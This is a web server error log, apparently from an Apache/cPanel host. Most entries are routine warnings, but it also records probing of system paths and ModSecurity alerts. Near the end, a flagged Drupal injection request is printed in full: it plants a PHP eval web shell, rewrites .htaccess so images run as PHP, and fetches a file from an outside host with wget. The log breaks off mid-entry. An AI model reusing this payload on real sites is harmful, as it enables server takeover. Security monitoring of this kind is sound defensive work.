[Fri Jul 17 08:16:32.636040 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:32.694307 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:32.784638 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:33.059445 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:33.976873 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.226252 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.350783 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.376150 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.528641 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS3/subsystem/tty12/uevent"] [unique_id "almXipOFLENLI63GGOEIOAAAAAQ"]
[Fri Jul 17 08:16:34.528690 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS3/subsystem/tty12/uevent"] [unique_id "almXipOFLENLI63GGOEIOAAAAAQ"]
[Fri Jul 17 08:16:34.556647 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.626114 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.716587 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.722374 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.870716 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:34.983508 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.117193 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libvpx/AUTHORS"] [unique_id "almXiziSeFVxYLkcq6IbmQAAAAc"]
[Fri Jul 17 08:16:35.161165 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libvpx/AUTHORS"] [unique_id "almXiziSeFVxYLkcq6IbmQAAAAc"]
[Fri Jul 17 08:16:35.164899 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.169560 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.174709 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.242502 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.379290 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.543549 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.572438 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.597481 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.632622 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.730526 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.816651 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:35.843367 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:36.000185 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:36.090934 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:36.274435 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:36.377347 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:44630] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:36.648588 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:36.656676 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.134149 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.225567 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.316649 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.327757 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.382549 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.409374 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.428090 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.502216 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/hdaudio/drivers/snd_hda_codec_generic/uevent
[Fri Jul 17 08:16:37.560645 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.565185 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.576369 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:44690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:37.605764 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.609354 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773325 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773447 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773517 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773569 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773655 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773704 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773765 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773830 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773886 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.773939 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.774016 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.774079 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.790031 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.871598 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pnp/devices/00:04/driver/bind
[Fri Jul 17 08:16:37.955490 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:37.967586 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:38.136911 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:38.231050 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:38.320558 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:38.355614 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:38.412311 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:38.868033 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:39.026238 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXjo1dLClkUfK_dfHfUAAAAAI"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:16:39.026271 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXjo1dLClkUfK_dfHfUAAAAAI"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:16:39.232160 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:39.784954 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:39.959583 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:40.236272 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:40.417122 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:40.510227 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/thermal/uevent
[Fri Jul 17 08:16:41.144788 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:41.326996 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup13/device/remove
[Fri Jul 17 08:16:41.560222 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:41.599405 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:41.697658 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:41.967104 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:42.075491 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/container/devices/PNP0A06:01/subsystem/uevent
[Fri Jul 17 08:16:42.099090 2026] [security2:error] [pid 1996894:tid 1996894] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory114/node0/memory118/"] [unique_id "almXko4Wmn5zySdNNkAisAAAABM"]
[Fri Jul 17 08:16:42.099137 2026] [security2:error] [pid 1996894:tid 1996894] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory114/node0/memory118/"] [unique_id "almXko4Wmn5zySdNNkAisAAAABM"]
[Fri Jul 17 08:16:42.166084 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:42.201276 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:54926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:42.446126 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:42.836409 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:43.219030 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/tmpmq_j259m
[Fri Jul 17 08:16:43.326755 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:43.525134 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:43.711405 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:43.768073 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:43.806276 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:43.991890 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:44.083891 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:44.663722 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:55044] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:44.698067 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:44.732448 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:44.834024 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:45.026265 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:45.118351 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:45.209986 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:45.299595 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:45.395521 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:45.505056 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:45.596381 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:46.121050 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:46.225011 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:46.349113 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/container/devices/PNP0A06:02/subsystem/uevent
[Fri Jul 17 08:16:46.481847 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:46.563398 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:46.728449 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:46.752021 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:55106] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:46.819234 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:46.909201 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:47.183759 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:47.372651 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/spi/drivers_probe
[Fri Jul 17 08:16:47.472156 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:47.661976 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/battery/uevent
[Fri Jul 17 08:16:47.802547 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:55190] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:47.844122 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/scsi/drivers_probe
[Fri Jul 17 08:16:47.935448 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:48.028123 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/vesa-framebuffer/unbind
[Fri Jul 17 08:16:48.184918 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:48.206907 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:48.298937 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:48.402386 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:48.891104 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS3/device/driver/uevent
[Fri Jul 17 08:16:48.998790 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty6/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 08:16:49.086867 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty48/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 08:16:49.184943 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu0/driver/cpu2/subsystem/uevent
[Fri Jul 17 08:16:49.275559 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/driver/cpu0/subsystem/uevent
[Fri Jul 17 08:16:49.707017 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:49.764586 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:03/physical_node/subsystem/uevent
[Fri Jul 17 08:16:50.253184 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:50.349159 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:50.439305 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/sound/card0/device/firmware_node/subsystem/uevent
[Fri Jul 17 08:16:50.531193 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXCPU:02/subsystem/uevent
[Fri Jul 17 08:16:50.622599 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:15/subsystem/uevent
[Fri Jul 17 08:16:50.714579 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:50.896109 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/PNP0A06:02/subsystem/uevent
[Fri Jul 17 08:16:51.110151 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.110228 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.110271 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.110301 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.110322 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.110344 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.110366 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.293314 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXm1xP5-SsqbGuGB2jCwAAAAA"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.293491 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd 